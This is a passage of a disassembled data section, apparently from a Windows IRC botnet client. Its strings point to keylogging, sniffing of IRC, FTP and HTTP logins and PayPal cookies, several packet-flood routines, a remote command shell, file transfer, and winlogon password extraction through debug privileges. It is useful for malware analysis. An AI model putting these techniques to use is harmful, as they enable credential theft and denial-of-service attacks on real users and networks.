(Return)',0 ; DATA XREF: sub_412911+3DCo align 4 a__S_l_Buffer_0 db '..%s.. (Buffer full) (%s)',0 ; DATA XREF: sub_412911+397o a__S_l_BufferFu db '..%s.. (Buffer full)',0 ; DATA XREF: sub_412911+376o align 4 a__S_l_ChangedW db '..%s.. (Changed Windows: %s)',0 ; DATA XREF: sub_412911+17Bo align 4 a__S_l_ db '..%s..',0 ; DATA XREF: sub_412911+B9o ; sub_412911+145o ... align 4 off_438E98 dd offset dword_439710 ; DATA XREF: sub_412DBF+2B5r dd offset off_43970C dd offset aFtp ; "FTP" dd offset aHttp_0 ; "HTTP" dword_438EA8 dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_438EBC dd 0 dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: .XPack0:00438EA4o align 4 aFtp db 'FTP',0 ; DATA XREF: .XPack0:00438EA0o off_43970C dd offset dword_435244+5 ; DATA XREF: .XPack0:00438E9Co dword_439710 dd 544F42h dword_439714 dd 234032Dh, 696E7370h, 3026666haRecvFailedRetu db '- recv() failed, returned %d',0 align 10h dword_439740 dd 234032Dh, 696E7370h, 3026666haSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0 dword_439774 dd 234032Dh, 696E7370h, 3026666h, 2Dhdword_439784 dd 4E53505Bh, 5D464649h, 0dword_439790 dd 234032Dh, 696E7370h, 3026666haWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h dword_4397C0 dd 234032Dh, 696E7370h, 3026666haBindFailedRetu db '- bind() failed, returned %d',0 align 4 dword_4397EC dd 234032Dh, 696E7370h, 3026666haSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_413144+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_413144+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_413144+D9o a_ident db ':.ident',0 ; DATA XREF: sub_413144+C8o a_login db ':.Login',0 ; DATA XREF: sub_413144+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_413144+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_413144+95o a_login_0 db ':.login',0 ; DATA XREF: sub_413144+84o a366 db '366 ',0 ; DATA XREF: sub_413144+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_413144:loc_4131A6o align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_413144+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_413144+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_413144+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_413144+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_41325B+62o aOper db 'oper ',0 ; DATA XREF: sub_41325B+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_41325B:loc_41329Bo ; sub_4132D1+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_41325B+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_41325B+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_4132D1+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4132D1+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4132D1:loc_413322o align 4 a220 db '220 ',0 ; DATA XREF: sub_4132D1+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4132D1+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413358+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_413358+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_413358+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413358:loc_413398o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_413358+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413358+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4133DF+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4133DF:loc_41341Fo align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4133DF+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4133DF+5o align 4 unk_439984 db 2Dh ; - ; DATA XREF: sub_413444+3D6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4399BC db 2Dh ; - ; DATA XREF: sub_413444+36Ao db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4399F4 db 2Dh ; - ; DATA XREF: sub_413444+337o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_439A28 db 2Dh ; - ; DATA XREF: sub_413444+30Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_439A5C db 2Dh ; - ; DATA XREF: sub_413444+2DCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_439A90 db 2Dh ; - ; DATA XREF: sub_413444+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0 align 10h unk_439AC0 db 2Dh ; - ; DATA XREF: sub_413444+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRe_0 db '- bind() failed, returned %d',0 align 4 unk_439AEC db 2Dh ; - ; DATA XREF: sub_413821+5Bo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_439B14 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_4138D3+31Ao dd 203A726Fh, 6425h unk_439B30 db 2Dh ; - ; DATA XREF: sub_413C65+390o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0 align 4 unk_439B78 db 2Dh ; - ; DATA XREF: sub_413C65+326o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0 align 4 unk_439BC4 db 2Dh ; - ; DATA XREF: sub_413C65+12Ao db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidTargetI db 'invalid target ip',0 align 4 unk_439BE4 db 2Dh ; - ; DATA XREF: sub_413C65+C2o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSetsockoptFail db 'setsockopt() failed, returned %d',0 align 4 unk_439C14 db 2Dh ; - ; DATA XREF: sub_413C65+49o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSocketFailed_0 db 'socket() failed, returned %d',0 align 10h unk_439C40 db 2Dh ; - ; DATA XREF: sub_414050+13Co db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFinishedSendin db 'finished sending pings to %s',0 align 4 unk_439C6C db 2Dh ; - ; DATA XREF: sub_414050+6Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aErrorSendingPi db 'error sending pings to %s',0 align 4 unk_439C94 db 2Dh ; - ; DATA XREF: sub_4141DC+1C7o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFinishedSend_0 db '- finished sending packets to %s',0 align 10h unk_439CC0 db 2Dh ; - ; DATA XREF: sub_4141DC+8Eo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aErrorSending_0 db '- error sending packets to %s',0 align 4 dword_439CE8 dd 234032Dh, 73796B73h, 3026E79haDoneWithFloodI db '- Done with flood (%iKB/sec)',0 align 4 unk_439D14 db 2Dh ; - ; DATA XREF: sub_41458C+48o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0 align 4 unk_439D3C db 2Dh ; - ; DATA XREF: sub_414628+295o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aSendErrorD_ db '- Send error: <%d>.',0 align 4 dword_439D5C dd 234032Dh, 67726174h, 3023361haDoneWithFlood_ db '- Done with flood.',0 align 10h unk_439D80 db 2Dh ; - ; DATA XREF: sub_414BED+4E4o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 10h unk_439DD0 db 2Dh ; - ; DATA XREF: sub_414BED+471o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 10h unk_439E20 db 2Dh ; - ; DATA XREF: sub_414BED+15Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidTarge_0 db '- Invalid target IP.',0 align 10h unk_439E40 db 2Dh ; - ; DATA XREF: sub_414BED+EEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_439E78 db 2Dh ; - ; DATA XREF: sub_414BED+70o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0 align 4 unk_439EAC db 2Dh ; - ; DATA XREF: sub_415189+60o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aDoneWithFloodD db '- Done with flood, %d packets sent.',0 align 10h unk_439EE0 db 2Dh ; - ; DATA XREF: sub_415478+47o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0 align 10h unk_439F20 db 2Dh ; - ; DATA XREF: sub_4154EE+348o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError(' db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0 align 10h unk_439FB0 db 2Dh ; - ; DATA XREF: sub_4154EE+2F6o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat' db 'a sent (~%dK/s).',0 align 4 unk_43A014 db 2Dh ; - ; DATA XREF: sub_4154EE+CCo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aSendingPackets db '- Sending packets to %s...',0 unk_43A040 db 2Dh ; - ; DATA XREF: sub_4154EE+80o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0 align 8 unk_43A088 db 2Dh ; - ; DATA XREF: sub_4154EE+63o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0 align 4 unk_43A0D8 db 2Dh ; - ; DATA XREF: sub_4154EE+2Ao db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 unk_43A104 db 2Dh ; - ; DATA XREF: sub_415846+5Do db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 10h aSD db '%s%d ',0 ; DATA XREF: sub_4159E0+1F1o align 4 dword_43A138 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3dword_43A14C dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415F45+60o align 4 dword_43A184 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415FE5:loc_41601Ao dword_43A198 dd 35310302h, 25B302Ch, 91313003h, 6C343003h, 67026F02h ; DATA XREF: sub_415FE5+20o dd 2C313003h, 3A343103h, 2203103h, 656C0243h, 64657261h dd 0 dword_43A1C4 dd 35310302h, 25B302Ch, 91313003h, 6C343003h, 67026F02h ; DATA XREF: sub_416058+DCo dd 2C313003h, 3A343103h, 6C203103h, 20747369h, 6F024302h dd 656C706Dh, 6574h dword_43A1F4 dd 35310302h, 25B302Ch, 91313003h, 6C343003h, 67026F02h ; DATA XREF: sub_416058+3Fo dd 2C313003h, 3A343103h, 6C203103h, 20747369h, 74025302h dd 69747261h, 676Eh unk_43A224 db 2Dh ; - ; DATA XREF: sub_41620D+170o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 unk_43A258 db 2Dh ; - ; DATA XREF: sub_41620D+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_43A288 db 2Dh ; - ; DATA XREF: sub_41620D+47o ; sub_4163CE+FDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_43A2AC dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_4163CE+362o ; sub_416770+156o dd 726F72h unk_43A2C4 db 2Dh ; - ; DATA XREF: sub_4163CE+2FAo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 10h unk_43A2F0 db 2Dh ; - ; DATA XREF: sub_4163CE+202o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_43A314 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: sub_4163CE+1CBo dd 74756Fh dword_43A32C dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_4163CE+16Ao dd 169h unk_43A344 db 2Dh ; - ; DATA XREF: sub_4163CE+127o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_43A364 db 2Dh ; - ; DATA XREF: sub_4163CE+82o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_43A388 db 2Dh ; - ; DATA XREF: sub_4163CE+44o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_43A3AC db 2Dh ; - ; DATA XREF: sub_416770+1CFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_43A3D8 db 2Dh ; - ; DATA XREF: sub_416770+CBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_43A3F8 db 2Dh ; - ; DATA XREF: sub_416770+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_416770+97o unk_43A428 db 2Dh ; - ; DATA XREF: sub_416770+83o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 dword_43A458 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0244h ; DATA XREF: sub_4169AB+480o dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch dd 2034033Ah, 61024202h, 2552064h, 204C0252h, 272024Fh dd 2440220h, 220736Eh, 2720245h, 726F0272h, 3746120h, 73252031h dd 2Eh dword_43A4B0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0244h ; DATA XREF: sub_4169AB+472o dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch dd 2034033Ah, 70025502h, 2610264h, 2206574h, 69610246h dd 65026C02h, 2202C64h, 2720245h, 726F0272h, 2450220h dd 63026578h, 69747502h, 67026E02h, 25203103h, 73h, 0 dword_43A518 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F0244h ; DATA XREF: sub_4169AB+3B6o dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch dd 2034033Ah, 26F4402h, 6C026E77h, 261026Fh, 64026564h dd 25203103h, 2066312Eh, 424B3403h, 36F7420h, 73252031h dd 25204020h, 2066312Eh, 424B3403h, 6365732Fh, 3103202Ch dd 70025502h, 61026402h, 2690274h, 4220676Eh, 74026F02h dd 2 dup(0) dword_43A598 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F0244h ; DATA XREF: sub_4169AB+34Do dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch dd 2034033Ah, 70024F02h, 6E026502h, 2026502h, 31030264h dd 732520h dword_43A5D8 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F0244h ; DATA XREF: sub_4169AB+2D6o dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch dd 2034033Ah, 26F4402h, 6C026E77h, 261026Fh, 64026564h dd 25203103h, 2066312Eh, 424B3403h, 36F7420h, 73252031h dd 25204020h, 2066312Eh, 424B3403h, 6365732Fh, 2 dup(0) dword_43A640 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0244h ; DATA XREF: sub_4169AB+257o dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch dd 2031033Ah, 72025702h, 20676E6Fh, 1F631F02h, 1F025202h dd 3021F63h, 25282034h, 3D212064h, 29642520h, 2Eh dword_43A690 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0244h ; DATA XREF: sub_4169AB+1CDo dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch dd 2031033Ah, 72025702h, 20676E6Fh, 69024602h, 6973656Ch dd 3403657Ah, 64252820h, 203D2120h, 2E296425h, 0 dword_43A6E0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F0244h ; DATA XREF: sub_4169AB:loc_416B43o dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch dd 2034033Ah, 6F024702h, 55022074h, 61647002h, 31036574h dd 20732520h, 25283403h, 29424B64h, 2Eh, 0 dword_43A730 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F0244h ; DATA XREF: sub_4169AB+191o dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch dd 2034033Ah, 26F4402h, 6C026E77h, 261026Fh, 64026564h dd 25203403h, 34032073h, 4B642528h, 2942h, 0 dword_43A780 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0244h ; DATA XREF: sub_4169AB+77o dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch dd 2031033Ah, 6F024302h, 6E646C75h, 2207427h, 6570024Fh dd 4602206Eh, 6C026902h, 33A6502h, 73252034h, 0 aUnknown db 'Unknown',0 ; DATA XREF: sub_416F3F:loc_416F82o ; sub_419599+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_416F3F:loc_416F7Co aDisk db 'Disk',0 ; DATA XREF: sub_416F3F:loc_416F76o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_416F3F:loc_416F70o aCdrom db 'Cdrom',0 ; DATA XREF: sub_416F3F:loc_416F6Ao align 4 off_43A7F8 dd offset word_4D4152 ; DATA XREF: sub_416F3F:loc_416F64o word_43A7FC dw 3Fh ; DATA XREF: sub_416F3F+1Fo ; sub_41B0A1:loc_41B1A3r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416FD0:loc_4170A8o ; sub_4170EB+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416FD0+6Bo align 10h dword_43A810 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_4170EB+8Eo dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1SDriveSSTotal db '1 %s drive (%s): %s total, %s free, %s available',0 align 4 dword_43A868 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_4170EB+58o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1SDriveSFailed db '1 %s drive (%s): failed to stat, device not ready',0 align 10h aA_1 db 'A:\',0 ; DATA XREF: sub_4171BD:loc_417202o dword_43A8C4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h ; DATA XREF: sub_417240+C5o dd 64252064h, 6C696620h, 7365h unk_43A8E4 db 2Dh ; - ; DATA XREF: sub_417240+5Co db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dword_43A90C dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h ; DATA XREF: sub_417358+107o dd 73252064h, 73255Ch dword_43A928 dd 2A5C7325h, 0 unk_43A930 db 2Dh ; - ; DATA XREF: sub_4174AA:loc_417623o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_43A964 db 2Dh ; - ; DATA XREF: sub_4174AA:loc_4175F6o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_43A990 db 2Dh ; - ; DATA XREF: sub_4174AA:loc_4175EFo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_43A9C8 db 2Dh ; - ; DATA XREF: sub_4174AA+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 aUserdomain: ; DATA XREF: sub_4174AA+DCo unicode 0, <USERDOMAIN>,0 align 4 aUsername: ; DATA XREF: sub_4174AA+CEo unicode 0, <USERNAME>,0 align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4174AA+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4174AA+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4174AA+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4174AA+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4174AA+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4174AA+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4174AA+40o ; sub_4174AA+161o ... align 10h unk_43AB00 db 2Dh ; - ; DATA XREF: sub_4174AA+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aMsgina db 'MSGINA',0 ; DATA XREF: sub_41767C+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_41767C+123o align 